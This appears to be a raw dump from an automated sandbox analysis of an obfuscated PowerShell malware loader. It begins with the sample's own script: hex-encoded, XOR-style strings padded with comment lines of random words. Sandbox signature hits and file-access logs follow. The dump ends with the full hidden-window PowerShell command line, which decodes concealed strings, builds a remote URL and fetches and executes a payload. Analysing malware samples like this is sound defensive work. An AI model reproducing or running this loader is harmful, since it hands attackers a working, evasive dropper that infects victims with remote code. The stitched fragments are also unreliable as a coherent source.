'B2F2E4FFFDFDF3FAE5F3F8E5B8D2F3F0FFF8F3DBF3E2FEF9F2BEB2E2F7FAF3FEE4F3E3F8F2F3E4E0FFE5F8FFF8F1F3F8BAB6B2E3FBF4F3FAFAF7BAB6B2E5E2F7F8F2F1FAF7E5E5F3F8F3E5BAB6B2E4F3F1FFE5E2F3E4F9E0F3E4E5FDE4FFF0E2F3E4F8F3BFB8C5F3E2DFFBE6FAF3FBF3F8E2F7E2FFF9F8D0FAF7F1E5BEB2ECF9F9E6FEEFE5FFF5E5BF' 1 #Intertwistingly Evigtung Biblerne Apiocrinite Middelalderlatins Ungluing indhugget Stavekontrolleres Projektopgaver Antinatural Forskningsresultaternes Cabbalahs Knaldene Stentorrsters Cajeputs Paracystitis Jirble Volente Overpack Kulegravning Scatteredness Restabbed Disgallant Liquidity Radiochemist Vatre Amerism Bernadotteblod Forldreraadets donacidae Antikldernes papering107 'E4F3E2E3E4F8B6B2F2E4FFFDFDF3FAE5F3F8E5B8D5E4F3F7E2F3C2EFE6F3BEBF' 1 #Ampelidaceous Albuminoid Unfelicitousness Husenes Leathernecks Overroasts Snevejret Excavators Buskadset Arveonklers Strandpiberes Drivens Dugdraabes Generalprver Grammaticise Hoolihan Misacted appendages } $lipoxenous=0 #Modvilligste Uncomprising Engrosbageriernes skovbrugs Udsprgende Labiolingual Skanderborgs Girnel guddomskrfters Imine Bivuakerede Furbelowed Bladdernut Glabrescent Blgegangene Bidskere Choiceful Righoldige Uansgt escroll papering107 'B2F1FAF9F4F7FAACE2FCF3F8F3E5E2F3EFF2F3FAE5F3E4B6ABB6CDC4E3F8E2FFFBF3B8DFF8E2F3E4F9E6C5F3E4E0FFF5F3E5B8DBF7E4E5FEF7FACBACACD1F3E2D2F3FAF3F1F7E2F3D0F9E4D0E3F8F5E2FFF9F8C6F9FFF8E2F3E4BEBEE2F9F7F7E4FFF8F1F3E4B6B2E5FBFFE2E2F3F4E4F3E4B6B2E3F2E5FDEFFAFAF3F8F2F3BFBAB6BEF4FFE2E2F3E4FBFAFDB6D6BECDDFF8E2C6E2E4CBBAB6CDC3DFF8E2A5A4CBBAB6CDC3DFF8E2A5A4CBBAB6CDC3DFF8E2A5A4CBBFB6BECDDFF8E2C6E2E4CBBFBFBF' 1 #Astrachan Cool Stilebgerne Optrapning Aarsmdets Officiously Uansgte Forehatch Talegallus papering107 'B2F1FAF9F4F7FAACF7E2E2E4FFE2FFF9F8F7FAB6ABB6CDC4E3F8E2FFFBF3B8DFF8E2F3E4F9E6C5F3E4E0FFF5F3E5B8DBF7E4E5FEF7FACBACACD1F3E2D2F3FAF3F1F7E2F3D0F9E4D0E3F8F5E2FFF9F8C6F9FFF8E2F3E4BEBEE2F9F7F7E4FFF8F1F3E4B6B2EEE4F7EFB6B2F0E4FFE2FFF2E5FDFAE3F4F4F3E4E5A4A7AEBFBAB6BEF4FFE2E2F3E4FBFAFDB6D6BECDDFF8E2C6E2E4CBBAB6CDC3DFF8E2A5A4CBBFB6BECDDFF8E2C6E2E4CBBFBFBF' 1 #Indspilning Replanned Faamandsvldernes Slusens pupilless Anglos mdendes Polypterid Straek Drivmidlets Papirbaserede Grandness Stabilize Auriscopically Fejebladets synkronisuyr Startkatalog $quirkesigtige224 = 'svnige' #Oculists Fylderistens Fourpence Klorerende Blackjacking Radiomuscular Standardlsningerne Formerly Kernekraftvrker Tygningen Superexaltation Sium Spindemester Sanatoriet fahrenheit Genredefinitions indenrigsministeren Utrillas Hyalomere julidan Cerebrovisceral papering107 'B2EDDEF9E5E2EBB8C3DFB8C4F7E1C3DFB8C1FFF8F2F9E1C2FFE2FAF3B6ABB6B2E7E3FFE4FDF3E5FFF1E2FFF1F3A4A4A2' 1 #Dagbogsoptegnelsens Blidhedens Kombinat Introvertes Henceforth apollinarissen Ptotic Mesothermal Ethrogim Folkereprsentationens Mellemblgerne papering107 'B2F1FAF9F4F7FAACE5F7F8FDE2FFF9F8E5B6ABB6BED1F3E2BBC6E4F9F5F3E5E5B6EAB6C1FEF3E4F3BBD9F4FCF3F5E2B6EDB6B2C9B8DBF7FFF8C1FFF8F2F9E1C2FFE2FAF3B6BBF3E7B6B2E7E3FFE4FDF3E5FFF1E2FFF1F3A4A4A2B6EBBF' 1 #Cicisbei talgens Nonantagonistic oversubtleties Bushfighter Asexually Eupatorine Ordklveriernes Shrewish Expositive Warks Ahuatle Opata Vansiret Pokalturneringernes Superaccumulate Semipiously Luminosities Auriculoid Takstomraadet Asketers Ammes Pseudotrimerous Nozzles Visualiser papering107 'B2F1FAF9F4F7FAACF9E6E6F7FDF8FFF8F1F3F8B6ABB6B2E5F7F8FDE2FFF9F8E5B8DBF7FFF8C1FFF8F2F9E1DEF7F8F2FAF3' 1 #Afgiftssystems Tegnestifterne Sikkerhedsgraders Deltagerstyrings Cratinean Antisemitter pogonip Overhunted Contraceptions Kurserendes Autosome Fillipinske Udviklingspsykolog Definitionsmngdernes Kennedya Artemision Ordforraadets Trettenaars Forbrugerombudsmands Solistisk Dezinkify Recappable inspected Abbreviators Oded labroid Blokhuses papering107 'B2F7E2E2E4FFE2FFF9F8F7FAB8DFF8E0F9FDF3BEB2F9E6E6F7FDF8FFF8F1F3F8BAB6B2FAFFE6F9EEF3F8F9E3E5BF' 1 #Sygevrelser Desavouerende Festilogy Crossproducts Trettenaarsdagenes Demoleringen Falliterklringers menualternativers Romantikeren Ddemandssikringer Reparationens Globulins $unallusive = toaaringer $rodrick $torosities #Controllingly picromerite Streamed Infinitudes Knuckliest Jadder Brkkenes Byrde Tritonality baggrundsstj Afterrake Eksempeltekstens Evangelical Forstavelse Luksurise Afslapninger Slettetilladelsers Koalitionsregeringerne Ugennemskueligt Chopdar Megapterine rumfartscentre Interdatainteresseafvejningens uruguayanske Lawnlike Pyramidalist Superannuating ansvarliggrelse Hypophysectomy Advisorily $teletjenester=29558-17270 #Prudence Redigeredes Didascalos Gallinipper Unexcludable Araignee Byssiferous Eyeblink Bidragydere Aandlseste Hyperaltruism Byidentitet Programafbrydelse Devier Superaccomplished Spillefilmene Predelivery letlbende Pantostomatous Anilins Annoncepriser styrekoder Precommend Hjnendes Foraarssemestrets Fibroareolar Consequence langsigtedes Clocker $milltail=19039-18975 #Hypercriticizes Vildttllingernes Forrer Udtmning Coxing Steller Charmer Polypetaly Nondenunciating Scirrhoma Rumsteringerne Preston udsanererne Citizenish Ligevgts Tegngivnings jesines Evaporeringernes resiles Langs Fryseboks Retsforflgelser Spilleme Picquets Scalpra Snkene Abrotanum Udplantningskassers Undergivelses Brnehospitals Calcitic Sulphantimonite Rottefldens $helligaands=-8974+8978 #Overprsidenters Vee suriga Brndselsolie Kammeraterier Grydelappernes Soire Manvreringen Acanthin Funktionsevne Adjunkter Yachten Crestfallen Porno Postmesterens Gummiens Tysket Greenbul Bathkol Inshave Udblokkes Smudsigestes Jannits Forlovelsesring Brodergarnernes Akkumuleringens papering107 'B2F1FAF9F4F7FAACF0FFFAFBF7E2F3FAFFF3E4F3E4E5B6ABB6B2E2FCF3F8F3E5E2F3EFF2F3FAE5F3E4B8DFF8E0F9FDF3BEB2FAFFE6F9EEF3F8F9E3E5BAB6A0A3A1A2BAB6B2E2F3FAF3E2FCF3F8F3E5E2F3E4BAB6B2FBFFFAFAE2F7FFFABF' 1 #algophobia Twee Vicontiel ndsage Dunjakkers Pajaroello Sheephook Stamcafqns Unwished Slimhindernes Abeltree Hardock papering107 'B2F1FAF9F4F7FAACE4F3FFF8E5E6F3F5E2E5A7A7AEB6ABB6B2E2FCF3F8F3E5E2F3EFF2F3FAE5F3E4B8DFF8E0F9FDF3BEB2FAFFE6F9EEF3F8F9E3E5BAB6A0A4A2A7A6A1A3A4BAB6B2E2F3FAF3E2FCF3F8F3E5E2F3E4BAB6B2FEF3FAFAFFF1F7F7F8F2E5BF' 1 #Indstoebt Trangbrystedes Pronouncedly Tyrasole Skandskrift Fabien Lytteapparater Todelt Dmringen Brnelammelsers Yogien superabomination Luciano konkursbegringerne Bethrall bruttovgtens Opslidningsslaget Qualifier Paategne Uklar Sermonised Caseworks Sorbaria Protektionens Frugteslst Offervilliges papering107 'CDC5EFE5E2F3FBB8C4E3F8E2FFFBF3B8DFF8E2F3E4F9E6C5F3E4E0FFF5F3E5B8DBF7E4E5FEF7FACBACACD5F9E6EFBEB2DEFFF3E4F8F3BAB6B2FAFFE6F9EEF3F8F9E3E5BAB6B6B2F0FFFAFBF7E2F3FAFFF3E4F3E4E5BAB6A0A3A1A2BF' 1 #Barbastel Amarantfarver Monopoliseres Mrkelgge Precordiality Fug Kmpevise Horntails Slvers Faquir Testprogrammernes Vremaaders Materiernes Militrattache Chorographically Lociation Reformisten Disciplinrsag polyesters Genopstilling Rehandicap plaiden Denize Patricio Systemadministrationers Krftskadedes $splattersnfiltrator=286507-6574 #Oxidability Raabenes Asg clapboard Renhedsgraders Mudguards milieuaktivist Reflectorise Escheatorship Rdderligstes Trigly Fodpanelers Hovedpunkts Vaskomaters Disorganized Meddlers Brsteormenes Alcoranist Stamkafsuernes Ceros Reserveringens Invoking responsories Fremmelig Saxofon Vandvrkerne Charabancers Dullers Nonascertainably miljministeren Mandlig Himmellegemerne Retsforflgelsers papering107 'CDC5EFE5E2F3FBB8C4E3F8E2FFFBF3B8DFF8E2F3E4F9E6C5F3E4E0FFF5F3E5B8DBF7E4E5FEF7FACBACACD5F9E6EFBEB2DEFFF3E4F8F3BAB6A0A3A1A2BAB6B2E4F3FFF8E5E6F3F5E2E5A7A7AEBAB6B2E5E6FAF7E2E2F3E4E5F8F0FFFAE2E4F7E2F9E4BF' 1 #Vertugal Forhandlingsresultatet Hemispherical Millionens unexcogitable Strandskadernes Sciroccoernes Antlerless Cementblanderen rosenkaals Stigmatization Spillemnter Statured Rettetasters Luminophor Rstens Cancerously obstruktionen Sekstendedelenes Semaforers papering107 'B2F1FAF9F4F7FAACF4F3E1E4F7E6B6ABB6CDC4E3F8E2FFFBF3B8DFF8E2F3E4F9E6C5F3E4E0FFF5F3E5B8DBF7E4E5FEF7FACBACACD1F3E2D2F3FAF3F1F7E2F3D0F9E4D0E3F8F5E2FFF9F8C6F9FFF8E2F3E4BEBEE2F9F7F7E4FFF8F1F3E4B6B2E5FDE4FBE6FAF7F8E2F3E4E5B6B2E7E3F7E4E2ECFFE2F3F4E0BFBAB6BEF4FFE2E2F3E4FBFAFDB6D6BECDDFF8E2C6E2E4CBBAB6CDDFF8E2C6E2E4CBBAB6CDDFF8E2C6E2E4CBBAB6CDDFF8E2C6E2E4CBBAB6CDDFF8E2C6E2E4CBBFB6BECDDFF8E2C6E2E4CBBFBFBF' 1 #Flensborg godtfolket Reskompagnis Korslagt Skovbunden Ripuarian Pedal Astronomiskes Panaman Undaub papering107 'B2F4F3E1E4F7E6B8DFF8E0F9FDF3BEB2F0FFFAFBF7E2F3FAFFF3E4F3E4E5BAB2E4F3FFF8E5E6F3F5E2E5A7A7AEBAB2E3F8F7FAFAE3E5FFE0F3BAB2FAFFE6F9EEF3F8F9E3E5BAB2FAFFE6F9EEF3F8F9E3E5BF' 1 #Trangflgen Tenours racehestenes Lysidin Chous Unsilicated martialling Tekstrettelserne skihoppers Bronzefarve Patriot brnderslev Ghastlier Plenarium vralter Zoic Foreinclined Brrenes Irregulation Overdomesticate Minibilerne Uroksen Gothic Formandsperiodens Barnie Opaquing Martaban Script name: na contents: $global:skodning=$env:windir + $persontog 42:T437,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Found XOR operators (encryption/decryption) Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains ability to decode base64 data Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Reads the cryptographic machine GUID Matched sigs: YARA signature match – Encryption algorithm Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Script contains XOR (Antimalware Scan Interface) Matched sigs: HTTP requests contain Base64 strings Matched sigs: YARA signature match - RC4 Encryption43:T130e,"powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006720-00000C17-1074060252 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00006720-00000C17-1074350572 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00006720-00000C17-1074964444 "powershell.exe" queries volume information of "C:\" at 00000000-00006720-00000C17-1075241878 "powershell.exe" queries volume information of "C:\share" at 00000000-00006720-00000C17-1075243631 "powershell.exe" queries volume information of "C:\share" at 00000000-00006720-00000C17-1075339135 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006720-00000C17-1076680987 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006720-00000C17-1077219263 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006720-00000C17-1077315744 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006720-00000C17-1077359340 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll" at 00000000-00004824-00000C17-1083102810 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" at 00000000-00004824-00000C17-1083328769 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004824-00000C17-1085060127 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00004824-00000C17-1085247416 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll" at 00000000-00004824-00000C17-1085377376 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll" at 00000000-00004824-00000C17-1085407947 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00004824-00000C17-1085482816 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00004824-00000C17-1085493843 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00004824-00000C17-1085494079 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll" at 00000000-00004824-00000C17-1085935721 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00004824-00000C17-1086022175 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00004824-00000C17-1086032252 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00004824-00000C17-1086032503 "powershell.exe" queries volume information of "C:\" at 00000000-00004824-00000C17-1086896294 "powershell.exe" queries volume information of "C:\share" at 00000000-00004824-00000C17-108689758444:T8de,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00006720) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00006720) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00006720) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00006720) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00006720) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00006720) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00006720) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00006720) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00006720) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00006720) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00006720) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00006720) "powershell.exe" called "FindNextFileW" with parameter fe2524177eb3088c77be666722039f52 (UID: 00000000-00006720) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00006720) "powershell.exe" called "FindNextFileW" with parameter b5ba37e1558ced178a99011a1d659b52 (UID: 00000000-00006720) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00006720) "powershell.exe" called "FindNextFileW" with parameter e43dd9c73ab5615e461bf5109c3facd6 (UID: 00000000-00006720) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00006720) "powershell.exe" called "FindNextFileW" with parameter 0d59b0e237d7519417de10cd84bda4e7 (UID: 00000000-00006720) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\* (UID: 00000000-00006720)45:T814,Found string "$global:scribbleable = ($uraad53 | Where-Object {$_.Location.Split($rapportopgavegrupperne)[-1].Equals($vsenets) }).GetType($scaife)" (Indicator: "Where-Object"; File: "AMSI") Found string "$global:sanktions = (Get-Process | Where-Object { $_.MainWindowTitle -eq $quirkesigtige224 })" (Indicator: "Where-Object"; File: "AMSI") Found string "Select-Object" (Indicator: "Select-Object"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Measure-Object" (Indicator: "Measure-Object"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Compare-Object" (Indicator: "Compare-Object"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "ForEach-Object" (Indicator: "ForEach-Object"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Group-Object" (Indicator: "Group-Object"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Sort-Object" (Indicator: "Sort-Object"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Where-Object" (Indicator: "Where-Object"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Microsoft.PowerShell.Core\Where-Object {$_.Name -match '^Verbs.'} |" (Indicator: "Where-Object"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Microsoft.PowerShell.Utility\Select-Object @{" (Indicator: "Select-Object"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "$allVerbs | Microsoft.PowerShell.Core\Where-Object { $_.Verb -like $v }" (Indicator: "Where-Object"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Tee-Object" (Indicator: "Tee-Object"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "$foundAccess | Sort-Object" (Indicator: "Sort-Object"; Source: "00000000-00004824.00000001.135190.08940000.00000004.mdmp, 00000000-00004824.00000002.137113.08940000.00000004.mdmp")46:T1862,Process "powershell.exe" with commandline "-windowstyle hidden "mv 'nonresilience';function Actinism ($radionecrosis252='garrafa'){ $futurable=3;do {$befolkningseksplosions+=$radionecrosis252[$futurable];$futurable+=4;$escapingly=Get-Date}<#bambushytters henvendelserne Flower #>until (!$radionecrosis252[$futurable]);$befolkningseksplosions}function Irremovableness ($undermelodies){.$breaks ($undermelodies)}$charioteers=Actinism ' rrTooolq qsccc1 mm2';$skifflegrupperne=Actinism 'DDDn!!!E;;.T cc. ;;w Ie';$sympodia=[Nullable[int]]0;$skifflegrupperne+=Actinism '??,B aac!!!L ::IDDDecccNJJJt';$upopulrere=Actinism 'vvvM|||o y,z & iVVVlWWWliiia////';$honeyed115=' QQ[___n%%%EzzzTggg.GGGSEEEEDDDr+++Vn nImm.Cfffe,zzpaaao RRi ^Nhhhtooom>>>a ||N IIAmmmg^^ E.**rD.D] YY:XXX:QQQS ,dEpppC ddUpppR;;;i YYtUU.ymmmPLLLRxxxoa at& &o---C ccoy yL:: =& &$IIIcDDDhjjja VVR zzI---o,UUt + E = e|||r&&&S';$upopulrere+=Actinism ',||5 ~~.r.r0.ZZ p.p(!!!WRRRiLLLn < >0iii0PPP1%%.0G G1 ,W ZZF ggiaaarBBBe ~~fGGGo ; x K / gg1RRR4iii4yyy. ##0';$uneradicated=Actinism 'sssuxx s???eRRRR ff-cccA/ /GG.GEmm,Neeet';$stonewall=Actinism 'HHHh PPtWWWt QQpEEEsSSS:qq / VV/qqqbyyya* *f VVy AAb **e;;;i QQbtttqkkkyEEEv --eWWWwDDDh ##o ^,s===3HHHvXXXneeehIII3CCCvzzzk.bbi eei***yZ Z4eeekvvvrXXXr AAnEEEg-.-3HHHdhhhpqqqn^^^5 HHcD,D2 VVvAAAw .oe EEidddaqqq5 **m,HHdQ.QfSS inn xhhhs^^^eTTTt bug,gtZZZ7???t iczzze=.=.HHHi,zzpaaaf //sYYY.hhhw.jj3 %s ww.v vl XXi.--nS.Sk jj/YYYIM MmGGGagg.gsssiwwwn &&e xxr iisccc.>> a_ _sfffi';$reinvesteringen112=Actinism ' ,z>';$breaks=Actinism ' ZZIss.E ! X';$hjernetrusts='nurtureless';$ahrendahronon95='\\Archaeogeology.Mrk';Irremovableness (Actinism ' vv$qqqpG GEww DMMMI,OOPU UA+++LyyyPaaas PP= aa0 pp;hhh$wwwG bblYYYOSSSB~ ~A>>>LSSS:aa a<<>luuuoJJJg<<>>h OOR,ccoA An ^^O uuNX X9VVV5');Irremovableness (Actinism 'Z Z$FF p<,>:DDDA CCbIIIsUUUO&&&r #.BFFFes sRd de GG=x.x$ ||sSSSTdddO llNDD.eLLLw/./AUUUL###LVVV. ==s DDP;;;LyyyIqqqt rr(l l$iiiRCC esssI CCnooov^^^E tSgggt%%%E !!r //IaaaN IIgtttE___nMMM1fff1qqq2JJJ)');Irremovableness (Actinism $honeyed115);$tussucks2='fremkomsters';$stonewall=$absorbere[$sympodia];$buhkos='semispinalis';$strandage=(Actinism 'mm $>>>Paaae+++D o ia aplllA wwL h P ++s<<<= Y 0rrr;###$ rg ttl CCo M BaaaaPPPLM.M:== F PPo --rXXXV U E p.n --tNNNEmm l eeizzzG===e###SAAA=YYYNeeeE uuWeee-bbbo+++BDDDju.ue vvc|||t ww ***sSSSYww s __TfffeWWWmYYY. MM$qqqsqqqk JJICCCfuuuf wwL;;;EeeeG ??rC Cu!!!p wwP kkeSSSRTTTn rre');Irremovableness ($strandage);Irremovableness (Actinism 'S S$ Nf **oBB rTTTv .CePP n***t GGe RRlVVViXXXgZZZe CCs---.??.H!!!e <gfffe --slll.ccc$FFFr ++eSSSsX.XtXX o LLrDDDeSSSsCCC.uuuI% %nfffv bbopppk K ejjj( ll$,WWs.UUtMMMoBBBn .he.TTw ,TaiiilbbblII ,uuu$###o***rccct UUh!.!o***g! !r llaaaan >>i VVt- -eNNN)';$orthogranite=$agrobiological;mv 'hjlpeskrmen';Irremovableness (Actinism ' **$ ??Pzz eHHHDNNNIhh PSS ammmLpppPd dSh.h=:::0x x;GGG$mm G h lJJJoEEEbs sAkkkL D: hhS ddaDDDd JJdSSSE_._l ||Tjjja oog rressst!!!= r.(rrrtdddE ;;SiiiTlll-RRRPQQQaiiitg.gh m, lll$ xxo&&,ry ytXX HHHHO ~~G *RSSSAAA nI IiXXXTDDDED.D)');mv 'simultanpartiernes';while ((!$saddeltaget)) {Irremovableness (Actinism 'NNN$vvvpVVVe ^d ||i;;;p ||a== l NpEEEsEEE=~~~0ww ;yyy$!!!gww lbb.oXX b== a;;;leee:bbbD zziq qfyyyf > uVV s+++i ++o KKn___sPPPlq qi |nMMMs%%%e PPrkkkn%%%e HH=S S$###tYYYrWWWiPPPa jjd ;;iII sp pt') ;Irremovableness $husdyrbrugets;Irremovableness (Actinism 'HHH[q qt v.hAAArWWWEe eAxxxd###IVVVNQQQGjjj.###tNNNH***r^^^egggA vvD^^^]RRR:OOO: vs###l---eEEEE: :pPPP(###3F.F7eee5/./0 WW)');Irremovableness (Actinism 'OOO$ TTPddde <>=YYY0d d; ~~$pppg >>l LLOcc b~~ AqqqL::::fffdlllA|||m GGE LLvxxxe nnNdddN ??E ||R XXnTTTeVVVS===7HHH2yyy=bbb$%%%GaaaL %%Ogggbo.oARRRl&&&:__ T ^^A //l .NL .WehhhrO OkBBBEcccn WWr>>>E&&&T SSTl lE ++N --sooo+aa +| |%mmm$ ddA %%BmmmS jjONNNr kkB xxecccR ve! !.GGGcSSSo LLUBBBNTT T') ;$stonewall=$absorbere[$damevennernes72]}$pisistance=286507;$gudsn=29414;Irremovableness (Actinism 'd d$KKKP kkexxxdn.nijjjPNNNA|||LpppPww S ff=^^^0YY.; ? $JJJgXXXl// oFFFb %%a ;;l :::pp P|| rHHHEpp D<< >e ??6:: 4aa S&&&t ffrX Xi TTn???gPPP( dd$QQQp ++rYYYeIIIdaaaihh,s~~,ttttrUUUiEEEb,^^uzzzt^^ iIIIo jjnAAA)');Irremovableness (Actinism ';;;$ ^^plllE^^^dLLLiVVVpi iaUUUlEEEppppsO.O=kkk0W W;yy $nnnG .gLS SoA ABzzzAVVVL jj:nnnFLLLRxxxE ccm A kO OoRRRm rrs ??T++ ejjjRz zsBB <<<= ZZ == [OOOT FFe fx:::T///.OOOe%%%nL LCp pO***d|||i s nOOOg ??] = :lll: ffAoooSq qcnnniX XiOOO.KKKgjj.e KKt?? s AAtXXXRwwwi.wwnSSSg bb(?? $yyyh###i d E WWRjjjNSS,e uu)');Irremovableness (Actinism ' QQ$***Prr EC.CD#.#I YYPLL A aaL tpgggsOOO=nnn0RRR;PPP$J JgiiiL UUOPPPB***A:: l F:YYYk FFr:::I sss!!!tSSSE~~~l QQS QQ=S S$k kFWWWR >>ELLLMq.qke.eo =.m ooshhhThhhEFFFRYYYSRRR..ccsRR.u%%%b dds ==t%%%rZZZi EENbbbG| |(ttt$kkkp aaIj.jsss.I%%%SlllTjjjarr.N dc UUeIII,ii $SSSGjjjudddDN,NSyyyNnnn)');Irremovableness $kristels;"" (UID: 00000000-00006720)47:T2a50,Spawned process "powershell.exe" with commandline "-windowstyle hidden "mv 'nonresilience';function Actinism ($radi ..." (UID: 00000000-00006720, Additional Context: "mv 'nonresilience'function Actinism ($radionecrosis252='garrafa'){ $futurable=3do { $befolkningseksplosions+=$radionecrosis252[$futurable]Actinism 'vvvM|||o y,z & iVVVlWWWliiia////'+=Actinism ',||5 ~~.r.r0.ZZ p.p(!!!WRRRiLLLn < >0iii0PPP1%%.0G G1 ,W ZZF ggiaaarBBBe ~~fGGGo ; x K / gg1RRR4iii4yyy. ##0'Irremovableness (Actinism ' vv$qqqpG GEww DMMMI,OOPU UA+++LyyyPaaas PP= aa0 pp;hhh$wwwG bblYYYOSSSB~ ~A>>>LSSS:aa a<<>luuuoJJJg<<>>h OOR,ccoA An O uuNX X9VVV5')Irremovableness (Actinism 'Z Z$FF p<,>:DDDA CCbIIIsUUUO&&&r #.BFFFes sRd de GG=x.x$ ||sSSSTdddO llNDD.eLLLw/./AUUUL###LVVV. ==s DDP;;;LyyyIqqqt rr(l l$iiiRCC esssI CCnooovE tSgggt%%%E !!r //IaaaN IIgtttE___nMMM1fff1qqq2JJJ)')Irremovableness (Actinism QQ[___n%%%EzzzTggg.GGGSEEEEDDDr+++Vn nImm.Cfffe,zzpaaao RRi Nhhhtooom>>>a ||N IIAmmmg E.**rD.D] 